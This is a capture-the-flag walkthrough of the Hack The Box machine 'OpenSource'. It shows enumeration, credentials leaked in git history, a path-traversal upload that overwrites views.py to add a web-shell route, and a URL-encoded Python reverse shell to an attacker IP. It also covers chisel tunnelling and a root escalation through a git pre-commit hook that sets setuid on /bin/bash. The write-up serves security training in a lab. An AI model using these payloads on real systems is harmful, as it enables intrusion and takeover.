OpenSource - [HTB]
Table of Contents
Introduction
OpenSource is an easy Linux machine from Hack The Box where the attacker will have to analyse the git repository of an open-source application in order to find some credentials and a vulnerability to obtain RCE. Then, it will have to do some port forwarding with proxychains to access an internal gitea account with the previous previously obtained credentials from the downloaded repository, obtaining a private key and gain access to the machine. Finally, it will have to create a git hook to escalate privilege as root.
Enumeration
As always, let's start scanning all opened ports in the box with Nmap.
kali@kali:~/Documents/HTB/OpenSource$ sudo nmap -v -sS -p- -n -T4 -oN AllPorts.txt 10.10.11.164
Nmap scan report for 10.10.11.164
Host is up (0.049s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp filtered ppp
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun May 29 03:45:19 2022 -- 1 IP address (1 host up) scanned in 66.05 seconds
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:~/Documents/HTB/OpenSource$ sudo nmap -sC -sV -n -T4 -oN PortsDepth.txt -p 22,80,3000 10.10.11.164
Nmap scan report for 10.10.11.164
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
[...]
3000/tcp filtered ppp
Starting at port 80, there is a web page about an open-source file upload platform, where it is also possible to download its source code.
As we can see, each file is uploaded to /uploads/
.
Once download the source code, we can see that there are two git branches.
kali@kali:~/Documents/HTB/OpenSource/source_code$ git branch
dev
* public
kali@kali:~/Documents/HTB/OpenSource/source_code$ git checkout dev
Switched to branch 'dev'
kali@kali:~/Documents/HTB/OpenSource/source_code$ git log --oneline
c41fede (HEAD -> dev) ease testing
be4da71 added gitignore
a76f8f7 updated
ee9d9f1 initial
Looking at the difference between each commit we can find some credentials.
kali@kali:~/Documents/HTB/OpenSource/source_code$ git diff ee9d9f1 a76f8f7
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+ "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+ "http.proxyStrictSSL": false
+}
Furthermore, by looking at the public branch, we can get a clue about where the vulnerability might be.
"""
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
Reading the comment, we can notice that there is a function to name the files uniquely. However, is not been implemented yet, so maybe we can overwrite some files.
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
Exploitation 1
Reading the <code data-reactroot="">os.path.join</code> documentation, if an absolute path is provided, then all previous components joined are discarded and joining continues from the absolute path component.
For instance, if the actual path is <PWD>/public/uploads/
, but we provide /var/www/html/index.html
, the result of the method will be /var/www/html/index.html
.
So, we can overwrite the views.py
by sending the application's absolute path as the filename. Moreover, we can add a new route in order to obtain a web shell.
# Route to obtain a web shell
@app.route('/exec')
def execute():
return os.system(request.args.get("cmd"))
After uploading the file, we need to intercept the request, changing the file name as appears in this image (The absolute path can be known by building and accessing the docker container).
Then, in order to obtain a reverse shell on the container, we can send the following request.
http://10.10.11.164/exec?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22<YOUR_IP>%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
Exploitation 2
Because at the beginning, there was the 3000 port filtered, let's see if we can access it through the docker container.
/app # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.4/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
/app # wget http://172.17.0.4:3000
Connecting to 172.17.0.4:3000 (172.17.0.4:3000)
wget: can't connect to remote host (172.17.0.4): Connection refused
/app # wget http://172.17.0.1:3000
Connecting to 172.17.0.1:3000 (172.17.0.1:3000)
saving to 'index.html'
index.html 100% |********************************| 13414 0:00:00 ETA
'index.html' saved
As you can see below, we can access the port through the host 172.17.0.1. Thus, in order to gain access to the web page from our attacker machine through the container, we are going to use chisel and proxychains.
# Setting up chisel
kali@kali:/tmp$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz -O chisel.gz
kali@kali:/tmp$ gunzip chisel.gz
kali@kali:/tmp$ nc -nlvp 8081 < chisel
/app # nc -w 1 10.10.14.10 8081 > chisel
/app # chmod +x chisel
#Setting up proxychains
kali@kali:/tmp$ cat /etc/proxychains4.conf
[...]
socks5 127.0.0.1 1080
kali@kali:/tmp$ ./chisel server --reverse --port 8081
/app # ./chisel client 10.10.14.10:8081 R:socks
Finally, we need to modify the FoxyProxy add-on to use socks5 (Used by chisel).
As we can see, now we can access the Gitea service on the internal network.
Accessing as "dev01" with the credentials we obtained earlier at the repository, we can find a private repository with an SSH private key.
Using the private key, we can gain access to the machine, retrieving the user flag.
kali@kali:~/Documents/HTB/OpenSource$ ssh -i id_rsa dev01@10.10.11.164
dev01@opensource:~$ cat user.txt
[CENSORED]
Privilege Escalation
There is a cronjob being executed as root that updates the dev01's git repository located in its home.
dev01@opensource:~$ cd /tmp/
dev01@opensource:/tmp$ wget 10.10.14.35/pspy64
dev01@opensource:/tmp$ chmod +x pspy64
dev01@opensource:/tmp$ ./pspy64
[...]
2022/05/29 11:31:01 CMD: UID=0 PID=4874 | /bin/bash /usr/local/bin/git-sync
2022/05/29 11:31:01 CMD: UID=0 PID=4875 | git status --porcelain
2022/05/29 11:31:01 CMD: UID=0 PID=4877 | git add .
2022/05/29 11:31:01 CMD: UID=0 PID=4878 | git commit -m Backup for 2022-05-29
2022/05/29 11:31:01 CMD: UID=0 PID=4879 | git push origin main
2022/05/29 11:31:01 CMD: UID=0 PID=4880 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
Looking a GTFObins there is a way to escalate privileges using the git hooks. To do so, we need to execute the following commands.
dev01@opensource:~$ echo -e '#!/bin/bash\nchmod +s /bin/bash' > .git/hooks/pre-commit
dev01@opensource:~$ chmod +x .git/hooks/pre-commit
After a minute or so, we will be able to execute /bin/bash
as root, obtaining the root flag.
dev01@opensource:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
dev01@opensource:~$ /bin/bash -p
bash-4.4# cat /root/root.txt
[CENSORED]